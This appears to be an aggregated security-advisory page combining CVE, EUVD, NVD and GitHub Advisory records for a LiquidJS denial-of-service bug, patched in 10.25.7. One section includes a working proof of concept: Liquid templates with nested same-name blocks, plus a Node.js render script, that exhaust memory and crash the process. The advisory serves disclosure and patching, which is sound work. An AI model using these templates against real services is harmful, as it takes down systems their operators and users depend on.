LiquidJS is vulnerable to Denial of Service via circular block reference in layout

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LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.7, a circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack. This issue has been patched in version 10.25.7.

Source published

9 May 2026 04:03:25 UTC

Source modified

11 May 2026 15:04:09 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.7, a circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack. This issue has been patched in version 10.25.7.

Source published

May 9, 2026, 4:03:25 AM (timezone not stated)

Source modified

May 11, 2026, 3:04:09 PM (timezone not stated)

Saved here

13 Nov 2026 11:59:04 UTC

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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.7, a circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack. This issue has been patched in version 10.25.7.

Source published

9 May 2026 04:16:21 UTC

Source modified

24 Jul 2026 21:10:00 UTC

Saved here

25 Oct 2026 09:17:35 UTC

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NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · [email protected] · Primary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

### Summary A circular block reference in `{% layout %}` / `{% block %}` causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with `FATAL ERROR: JavaScript heap out of memory`. This allows any user who can submit a Liquid template to perform a Denial of Service attack. ### Details In `src/tags/block.ts`, during OUTPUT mode, each block looks up its render function from `ctx.getRegister('blocks')[this.block]`. When a block with name `a` is nested inside another block also named `a` in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition. Relevant code (`src/tags/block.ts`, `getBlockRender` method): ```typescript private getBlockRender (ctx: Context) { const { liquid, templates } = this const renderChild = ctx.getRegister('blocks')[this.block] const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) { ctx.push({ block: superBlock }) yield liquid.renderer.renderTemplates(templates, ctx, emitter) ctx.pop() } return renderChild ? (superBlock: BlockDrop, emitter: Emitter) => renderChild( new BlockDrop( (emitter: Emitter) => renderCurrent(superBlock, emitter) ), emitter) : renderCurrent } ``` When `renderChild` exists (same-name block found), it calls `renderChild` which re-renders templates containing the nested block, which again finds `renderChild`, and so on — infinite loop. ### PoC **1. Create a layout file** (`layout.html`): ```liquid <header>{% block a %}default-a{% endblock %}</header> <main>{% block b %}default-b{% endblock %}</main> <footer>{% block c %}default-c{% endblock %}</footer> ``` **2. Create a template that uses the layout:** ```liquid {% layout "layout" %} {% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %} {% block b %}content-b{% endblock %} {% block c %}content-c{% endblock %} ``` **3. Render:** ```javascript const { Liquid } = require('liquidjs') const liquid = new Liquid({ root: './', extname: '.html' }) liquid.renderFile('template').then(console.log) // Result: process hangs, memory grows to ~4GB, then crashes with OOM ``` The anonymous block variant also triggers the same issue: ```liquid {% layout "parent" %} {%block%}A{%block%}B{%endblock%}{%endblock%} ``` ### Impact **Denial of Service (DoS).** Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.

Source published

24 Apr 2026 15:34:00 UTC

Source modified

10 Sep 2026 03:50:42 UTC

Saved here

24 Oct 2026 13:17:17 UTC

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GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH